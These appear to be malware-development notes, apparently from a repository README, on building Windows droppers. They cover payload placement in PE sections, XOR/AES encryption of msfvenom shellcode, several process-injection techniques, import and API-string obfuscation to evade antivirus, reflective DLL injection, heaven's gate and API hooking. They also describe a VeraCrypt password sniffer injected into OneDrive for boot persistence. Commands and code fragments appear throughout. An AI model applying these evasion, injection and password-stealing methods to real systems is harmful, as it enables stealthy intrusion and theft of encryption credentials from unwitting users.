For building start x64 Cross Tools Command Promt for VS 2019
Inside the dropper to add a breakpoint add __debugbreak();
to the line. It will add the int3
instruction to add a breakpoint.
Run debugger and attach the PE.
Use OutputDebugStringA
function to send messages to debugviewer from Sysinternals.
Show imported functions - IAT
dumpbin /imports <PATH TO EXE>
dumpbin /exports <PATH TO EXE>
dumpbin /ALL <PATH TO EXE>
Payloads in droppers can be stored in the following sections of a PE.
.text
, put it inside a function in the code. For example within main.
.data
, set payload, inside global variable
.rdata
, set payload read only, inside global variable
.rsrc
, place it in a icon, or image.
Depending on the compiler and its settings, the .data and .rdata sections may be merged, or even merged into the .text section.
Saving the payload in the .rsrc
section is a cleaner method since larger payloads cannot be stored in the .data
or .rdata
sections due to size limits
Example payload in resources
Payload encoding & encryption
Encoding: Mostly used for transfering binary data, for example in Base64
Encryption: Transform data with a key, for example XOR, AES
Not enough to avoid detection. Mostly used for transfering binary data
certutil -encode <PAYLOAD>.bin <PAYLOAD>.base64
Example base64 encoded payload
Encrypting a payload is a good way to prevent detection. But encrypted data highers the entropy of the PE which might flag the PE as malicious or place extra scrutiny on it.
Xor encrypt payload python2
Change the KEY
variable with a key
Xor encrypts a .bin
file
python2 xorencrypt.py msgbox64.bin
Example with XOR encrypted payload
python2 aesencrypt.py calc.bin
Example with AES encrypted payload
Why do code injection?
Escape from a short lived process
Change working context
Backup C2 channel (Toon, two is one, one is none)
Classic methods: Shellcode/payload injection w/ debugging Win API or DLL injection
Injecting code in remote process
Win32 API functions:
VirtualAllocEx
Allocate memory buffer in remote process
WriteProcessMemory
Write into memory into the remote process
CreateRemoteThread
Specify which process should start the new threat
Example Code injection notepad.exe
Injecting DLL in remote process
Win32 API functions:
GetProcAddress
Get Loadlibrary address from the dropper
VirtualAllocEx
Allocate memory buffer in remote process Example code
WriteProcessMemory
Write DLL Address into the memory of remote process
CreateRemoteThread
Specify which process should start the new threat
Example Injecting DLL in remote process
Classic injection variation
Win32 API Functions:
VirtualAllocEx
Allocate memory buffer in remote process
WriteProcessMemory
Write into memory into the remote process
RtlCreateUserThread
or NtCreateThreadEx
Specify which process should start the new threat
Example code injection explorer.exe
Used one of the combined dropper projects for it and didn't encode the new strings.
Uncomment the two lines for RtlCreateUserThread
or NtCreateThreadEx
.
Example code
Completely destroys the work of that thread. Might crash the process later
Win32 API Functions:
CreateToolhelp32Snapshot
& Thread32Next
Find thread in remote process
VirtualAllocEx
Allocate memory buffer in remote process
WriteProcessMemory
Write into memory into the remote process
SuspendThread
Suspend the execution of remote thread
GetThreadContext
& SetThreadContext
Change context of thread, change function pointer register to point to shellcode
ResumeThread
Resume thread
Example injection notepad.exe
Share shellcode in memory from one process to another
Win32 API Functions:
NtCreateSection
Create section, new region of memory in current process
NtMapViewOfSection
Create a view in the current process
memcpy
Copy shellcode to view
NtMapViewOfSection
Create Remote View of that shellcode section in remote process
RtlCreateUserThread
Execute shellcode in remote process
Example injection notepad.exe
Async Procedure Call Injection
Not as stable, might break the process.
Win32 API Functions:
CreateToolhelp32Snapshot
& Thread32Next
Find thread in remote process
VirtualAllocEx
Allocate memory buffer in remote process
WriteProcessMemory
Write into memory into the remote process
QueueUserAPC
Create APC object in remote process
Wait & Pray till process gets into alertable state
Will execute the APC shellcode
Example injection notepad.exe
Variation of APC. Spawns a new process and inject shellcode.
Win32 API Functions:
CreateProcessA
Create a process in suspended mode
VirtualAllocEx
Allocate memory buffer in remote process
WriteProcessMemory
Write into memory into the remote process
QueueUserAPC
Create APC object in remote process
ResumeThread
Resume thread and execute shellcode
Example injection notepad.exe
Making a program invisible
Two typical ways: Freeconsole()
(Console window shows up a split second) and GUItrick
Instead of the main
function create a WinMain
function
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance,
LPSTR lpCmdLine, int nCmdShow) {
Use /SUBSYSTEM:WINDOWS
instead of /SUBSYSTEM:CONSOLE
Function call obfuscation
Calling external functions, detection based on imported DLLs and functions
A method of hiding DLL's and external functions that are called during runtime.
With the API's GetModuleHandle
& GetProcAddress
Run dumpbin to check import adress table
Prints the imported DLLs and the functions
dumpbin /imports <PAYLOAD EXE>
Look up documentation of function
BOOL VirtualProtect(
[in] LPVOID lpAddress,
[in] SIZE_T dwSize,
[in] DWORD flNewProtect,
[out] PDWORD lpflOldProtect
);
Create a global variable and make it a pointer
BOOL (WINAPI * pVirtualProtect)(LPVOID lpAddress, SIZE_T dwSize, DWORD flNewProtect, PDWORD lpflOldProtect);
Add the following line to get the address of the pointer
pVirtualProtect = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualProtect");
Hiding win32 API strings in the code
When running strings <EXE>
the string VirtualProtect
will show up. Possible to hide by making an array:
char aVirtualProtect[] = { 'V', 'i', 'r', 't', 'u', 'a', 'l', 'P', 'r', 'o', 't', 'e', 'c', 't' };
VirtualProtect_t pVirtualProtect = (VirtualProtect_t)GetProcAddress(GetModuleHandle(L"kernel32.dll"), aVirtualProtect);
Best is to encrypt the API string, for example VirtualProtect
from the example above and decode it in the code. See Droppers for example code
When GetModuleHandle fails
When receiving errorcode 126 The specified module could not be found. The library isn't found on the system. Load it using
LoadLibrary`. Example code:
LoadLibraryW_t pLoadLibraryW = (LoadLibraryW_t)GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
HMODULE hWinhttp = pLoadLibraryW(L"C:\\windows\\system32\\winhttp.dll");
if (!hWinhttp) {
Error("Failed to get handle to winhttp.dll");
exit(0);
}
// Get handles to Win32 API's using GetProcAddress
WinHttpOpen_t pWinHttpOpen = (WinHttpOpen_t)GetProcAddress(hWinhttp, "WinHttpOpen");
Hiding GetModuleHandle & GetProcAddress
This is possible by implementing these functions yourself. See helpers.cpp
from Link
Then use these functions with Unicode (L"<STRING>"
) strings to resolve the API's:
VirtualAlloc_t pVirtualAlloc = (VirtualAlloc_t) hlpGetProcAddress(hlpGetModuleHandle(L"KERNEL32.DLL"), "VirtualAlloc");
If we use these functions the GetModuleHande
& GetProcAddress
shouldn't be in our code. But with dumpbin /import implant.exe | findstr /i getprocad
or dumpbin /import implant.exe | findstr /i getmoduleha
the functions still show up. This is because there is some initialization fase, compiler and linker add some additional code that prepares the process before the start. When we use #pragma comment(linker, "/entry:WinMain")
inside our headers we can fix this. This changes the linker to entry point WinMain
Use the helper functions to get pointers to the real GetProcAddress
and GetModuleHandle
and use these pointers to resolve the rest of the functions.
GetModuleHandleA_t pGetModuleHandleA = (GetModuleHandleA_t) hlpGetProcAddress(hlpGetModuleHandle(L"KERNEL32.DLL"), "GetModuleHandleA");
GetProcAddress_t pGetProcAddress = (GetProcAddress_t) hlpGetProcAddress(hlpGetModuleHandle(L"KERNEL32.DLL"), "GetProcAddress");
VirtualAlloc_t pVirtualAlloc = (VirtualAlloc_t) pGetProcAddress(pGetModuleHandle(L"KERNEL32.DLL"), "VirtualAlloc");
Example Reflective DLL loader
python .\aesencrypt.py .\implant.dll > out.txt
Shellcode Reflective DLL Injection
Example Shellcode Reflective DLL Injection
python ConvertToShellcode.py -f Go implant.dll
python.exe ./aes.py implant.bin > out.txt
Injecting a 32 bit payload & 64 bit compiled implant into a 32 bit process works. But 64 bit payload & 32 bit compiled implant into 64-bit process doesn't.
The payload gets injected, but it doesn't run.
Wow64 is sort of emulator which provides a sort of interface between 32 bit NTDLL and the kernel (which runs in 64 bit).
Three important dll's: Wow64.dll
, Wow64cpu.dll
, Wow64Win.dll
Migrating between 32 bit & 64 bit programs
Possible with a heavens gate.
Function EXECUTEX64
Transition from 32 bit to 64 bit mode in current process
Function X64FUNCTION
& API RtlCreateUserThread()
call to execute code in target process
Parts of code comes from Migrate command from Metasploit.
Raw byte code in execute64.bin
and wownative.bin
files
Example code
Switch the comments in main to switch in between payloads. Compile with x86 and x64 depending on the test and start notpad x86 or x64.
Example code didn't work with InjectWOW64(hProc, payload64, payload64_len);
on my amd 5800x cpu. Did work on my Intell laptop.
Its a generic way a application executes in memory. Can be used for game hacks to incercept and return other values.
Example Hooking with Detours
Example code
Run hookme.exe
and the first messagebox will appear.
Then open process hacker, right click hookme.exe process --> Miscellaneous --> Inject DLL and select hookem.dll
.
Click OK and the other two messageboxes will be replaced with a new title and message!
Hooking with Import Adress Table
Change the adresses of imported function in the Import Adress Table (IAT)
Example Hooking with Import Adress Table
Example code
Run hookme.exe
and the first messagebox will appear.
Then open process hacker, right click hookme.exe process --> Miscellaneous --> Inject DLL and select hookem.dll
.
Click OK and the other two messageboxes will be replaced with a new title and message!
IAT hooking relies on swapping the function pointers. With in-line patching the API function itself is modified (patched) to redirect the API to the malicious code.
Run hookme.exe
and the first messagebox will appear.
Then open process hacker, right click hookme.exe process --> Miscellaneous --> Inject DLL and select hookem.dll
.
Click OK and the other two messageboxes will be replaced with a new title and message!
To stop injecting the same payload/implant multiple times and creating a lot of artifacts it is usefull to have control over how many times it can get executed.
Control object for this can be anything. Some examples:
Global mutant
Global event
Global semaphore
Named pipe
Example code payload control
msfvenom -p windows/x64/messagebox TEXT="0xjs" -o msgbox64.bin
Change the key in script if desired
python2 xorencryptfavicon.py msgbox64.bin
XOR encrypt function calls / strings
Might want to change the function for this
python2 -i xorencrypt.py
>>> PrintC(xor("<STRING TO ENCRYPT>", "<KEY">)
msfvenom -p windows/x64/messagebox TEXT="0xjs" -o msgbox64.bin
python.exe .\aesencryptfile.py .\msgbox64.bin
AES encrypt function calls / strings
python.exe .\aesencryptstring.py
Set the pkey
variable with the payload key and k
variable with the encrypted function calls/strings key
Example code
Dropper AES Favicon no imports
Had to use GetUserName
, with no imports pCryptReleaseContext
didn't work. Rather had that API call then the AES one.
msfvenom -p windows/x64/messagebox TEXT="0xjs" -o msgbox64.bin
python.exe .\aesencryptfile.py .\msgbox64.bin
AES encrypt function calls / strings
python.exe .\aesencryptstring.py
Set the pkey
variable with the payload key and k
variable with the encrypted function calls/strings key
Example code
VCSniff is a 64 bit dll that uses DeTours to sniff the VeraCrypt password from the WideCharToMultiByte function and write it to C:\temp\data.txt
VCmigrate is a 32 bit dll that injects reflected dll from VCsniff into the 64bit VeraCrypt process, checks for this proccess every 5 seconds
VCpersist is a 64 bit program VChelper.exe that injects 64 bit reflected dll VCmigrate into 32 bit OneDrive program.
Use VChelper.exe (VCpersist) with any persistent method to start at boot and be injected into OneDrive.
Example code
Create Reflective DLL shellcode vcsniff.dll
Copy vcsniff.dll
to VCmigrate
folder.
python ..\sRDI\Python\ConvertToShellcode.py -f DllMain vcsniff.dll
python aesencryptfile.py vcsniff.dll > out.txt
Place the payload and key inside the .cpp file.
Compile as 32 bit.
Create Reflective DLL shellcode vcmigrate.dll
Copy vcmigrate.dll
to VCpersist
python3 ..\sRDI\Python\ConvertToShellcode.py -f Go .\vcmigrate.dll
python3 ..\VCmigrate\aesencryptfile.py .\vcmigrate.bin > out.txt
Place the payload and key inside the .cpp file.
Compile as 64 bit.
Dropper_AES_Favicon_MapView_Explorer
AES encrypted payload in .src
section, inside favicon
MapView injection into Explorer.exe
Function call obfuscation with GetModuleHandle and GetProcAddress helpers
Generate msfvenom payload
msfvenom -p windows/x64/messagebox TEXT="0xjs" EXITFUNC=thread -o msgbox64.bin
python aesencryptfile.py msgbox64.bin
Place the payload and key inside the payl
and pkey
values
Dropper Shellcode Reflected DLL Explorer
Dropper_AES_Reflected_DLL_MapView_Explorer
AES encrypted payload compiled to a DLL. Converted to shellcode reflective DLL injection and then AES encrypted again
MapView injection into Explorer.exe
Function call obfuscation with GetModuleHandle and GetProcAddress helpers
Generate msfvenom payload
msfvenom -p windows/x64/messagebox TEXT="0xjs" EXITFUNC=thread -o msgbox64.bin
python aesencrypt.py msgbox64.bin > out.txt
Place payload and key inside DLL and compile it.
Create Reflective DLL shellcode
python ..\sRDI\Python\ConvertToShellcode.py -f Go implant.dll
python aesencrypt.py implant.bin > out2.txt
Place the payload and key inside the payl
and pkey
values